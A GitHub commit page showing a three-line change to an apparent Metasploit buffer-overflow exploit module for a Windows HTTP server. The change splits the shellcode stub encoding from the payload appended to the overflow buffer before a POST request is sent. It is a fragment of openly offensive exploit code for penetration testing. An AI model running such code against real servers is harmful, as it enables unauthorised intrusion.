Skip to content

Commit c9f0885

Browse files
committed
Apply @jlee-r7's feedback
1 parent fdd0d91 commit c9f0885

File tree

1 file changed

+3
-2
lines changed

1 file changed

+3
-2
lines changed

modules/exploits/windows/http/ultraminihttp_bof.rb

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -160,8 +160,9 @@ def exploit
160160
# we re-encode, including the thread creation stuff and the chosen payload
161161
# as we don't currently have the ability to "prepend raw" stuff to the front
162162
# of the buffer prior to encoding.
163-
buf << encode_shellcode_stub(new_thread + payload.encoded)
164-
163+
buf << encode_shellcode_stub(new_thread)
164+
buf << payload.encoded
165+
165166
print_status("Sending buffer...")
166167
send_request_cgi({
167168
'method' => 'POST',

0 commit comments

Comments
 (0)